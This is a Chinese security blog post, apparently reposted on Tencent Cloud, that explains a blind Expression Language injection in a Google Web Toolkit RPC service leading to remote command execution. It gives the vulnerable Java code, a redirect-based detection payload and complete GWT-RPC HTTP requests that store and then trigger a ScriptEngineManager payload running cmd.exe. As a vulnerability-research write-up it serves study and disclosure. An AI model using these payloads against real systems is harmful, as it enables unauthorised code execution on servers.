前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何在Google Web Toolkit环境下Getshell

如何在Google Web Toolkit环境下Getshell

作者头像
Ms08067安全实验室
发布2020-02-21 14:54:46
7300
发布2020-02-21 14:54:46
举报

Google Web Toolkit简称(GWT),是一款开源Java软件开发框架。今天这篇文章会介绍如何在这样的环境中通过注入表达式语句从而导致的高危漏洞。

漏洞介绍

在WEB-INF/web.xml中,我发现了以下的web端点映射:

代码语言:javascript
复制
<servlet>    <servlet-name>someService</servlet-name>    <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class></servlet>
<servlet-mapping>    <servlet-name>someService</servlet-name>    <url-pattern>/someService.gwtsvc</url-pattern></servlet-mapping>

我们可以从上面代码中看到引用了服务器映射。由于GWT可以通过定义客户端以便于表示客户端能够进行哪些访问。我们看看这些客户端类com.aaa.bbb.ccc.ddd.client:

代码语言:javascript
复制
public abstract interface SomeService  extends RemoteService{  public abstract void sendBeanName(String paramString);    public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);    public abstract void createMibNodeGettingBean();}

通过以上代码我们可以看到有三个函数,所以把它们单独拿出来,看看它们的各自功能都是什么。在ServiceImpl的主函数中,我们找到了如下代码:

代码语言:javascript
复制
public void sendBeanName(String paramString)  {    if (paramString == null) {      return;    }    HttpSession localHttpSession = super.getThreadLocalRequest().getSession();    if (localHttpSession != null) {      localHttpSession.setAttribute("MibWidgetBeanName", paramString);    }  }

在这段代码中我们通过输入字符串来更改"MibWidgetBeanName"属性。除了这一点,好像没有什么可以利用的。我们继续看setMibNodesInfo函数:

代码语言:javascript
复制
  public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)  {    List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);    if (localList != null)    {      MibNodesSelect localMibNodesSelect = getBeanByName();

这个函数需要一个MIBNodeModel类型的一个列表。mibNodeModelList2MibNodeList这个方法会检查我们输入的列表是否符合规范,并且根据列表的一个元素的值返回不同的值。

如果列表是空,这个函数会定义一个新列表,并且将内容设置为MIBNodeModel的默认值。然后getBeanByName函数就会被调用。继续看看这一函数吧

代码语言:javascript
复制
  private MibNodesSelect getBeanByName()  {    ...
    Object localObject1 = super.getThreadLocalRequest().getSession();    if (localObject1 != null)    {      localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");      if (localObject2 != null)      {        localObject3 = null;        try        {          localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");        }        finally        {          if ((localFacesContext != null) && (i != 0)) {            localFacesContext.release();          }        }        return (MibNodesSelect)localObject3;      }    }    return null;  }

由于这是一个私有函数,所以我们不能通过客户端直接查看到这个函数的内容。在第8行我们可以了解到这里再次使用了”MibWidgetBeanName”属性,将一个字符串存储到了localObject2中。

localObject2这个变量稍后会在第14行被用到去接受一个语言表达式。很明显,这是一个经典的表达式注入漏洞,不过前提是先反汇编出代码呀~

攻击过程

首先,这不是一个有返回值的语言表达式注入漏洞。这就意味着你不知道它是不是已经执行你输入的命令。因此,我将它认为是语言表达式盲注。

我通过一个简单的例子进行说明,假如我们一个JSF(java服务器框架)存在这样的一个漏洞,那么漏洞代码会类似下方:

代码语言:javascript
复制
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />

那么,通过以下攻击代码就可以实现攻击

代码语言:javascript
复制
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1

由于浏览器会将"+"号转换为空格,所以我们对"+"号进行url编码,如果我们得到的结果是10,那么我们就知道服务器已经执行这一个"9+1"这个命令。使用数学表达式进行注入检测是burpsuit检测注入的方法。

但是,在上述我们进行审计的代码当中,我们是不是不能去轻易的判断他是不是存在语言表达式漏洞?当然不是,我们还有其他方法。通过查找JSF说明文档,我发现了一些特别棒的函数,能够方便我们在不发出http请求确定是否存在EL注入。

Oracle官方文档陈述道你可以在FacesContext对象中使用getExternalContext方法。这个方法会返回一个ExternalContext类型的值,它允许我们设置特定对象的响应属性。当我查看文档时,这两个函数引起了我的注意:

代码语言:javascript
复制
1. setResponseCharacterEncoding2. redirect

因此我们可以通过设置这个特定字符串为下面java代码:

代码语言:javascript
复制
facesContext.getExternalContext().redirect("http://srcincite.io/");

如果响应状态值为302,重定向到了”http://srcincite.io/ “,那么我们就可以确定存在漏洞。

漏洞测试

我们第一个请求是对MibWidgetBeanName属性进行赋值

代码语言:javascript
复制
POST /someService.gwtsvc HTTP/1.1Host: [target]Accept: */*X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie]Content-Type: text/x-gwt-rpc; charset=UTF-8Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|

通过返回响应为”//ok[[],0,6]”可以了解到,我们对GWT注意已经成功。然后第二个请求触发存放在session中的字符串。但是,当我们发送请求之前,因为setMibNodesInfo函数传入的是一个复杂的变量类型,我们需要查看被保护文件的源代码,了解一下允许提交的类型。在[strong

name].gwt.rpc文件中,我找到了在数组中可以提交的类型: java.util.ArrayList/382197682。

现在我们可以发送我们的请求数据了

代码语言:javascript
复制
POST /someService.gwtsvc HTTP/1.1Host: [target]Accept: */*X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie]Content-Type: text/x-gwt-rpc; charset=UTF-8Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

正确的返回包内容应该和下面相似:

代码语言:javascript
复制
HTTP/1.1 302 FoundServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnlySet-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; SecurePragma: no-cacheCache-Control: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTPragma: no-cacheLocation: http://srcincite.io/Content-Type: text/html;charset=UTF-8Content-Length: 45Date: Wed, 03 May 2017 18:58:36 GMTConnection: close
//OK[0,1,["java.lang.Boolean/476441737"],0,6]

当然,能够重定向说明已经执行成功了。但是我们需要的是得到shell,在这篇文章http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html可以使用ScriptEngineManager的脚本执行java代码。不过他们的代码都特别长,所以我使用相同的方法自己写了一个

代码语言:javascript
复制
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")

更新MibWidgetBeanName属性值,然后使用setMibNodesInfo再一次除非这个字符串,然后得到系统权限

代码语言:javascript
复制
POST /someService.gwtsvc HTTP/1.1Host: [target]Accept: */*X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie]Content-Type: text/x-gwt-rpc; charset=UTF-8Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|

触发语言表达式:

代码语言:javascript
复制
POST /someService.gwtsvc HTTP/1.1Host: [target]Accept: */*X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie]Content-Type: text/x-gwt-rpc; charset=UTF-8Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

结论

这一漏洞几乎不可能在黑盒渗透测试中被发现。像burp suite这样的工具不会发现这样的漏洞,尤其是在考虑到字符串储存到seesion中这种情况。

随着网络技术的进步,我们对自动化的依赖越来越大, 在这一领域我们需要更多知识,技能以及工具。

资料参考

http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档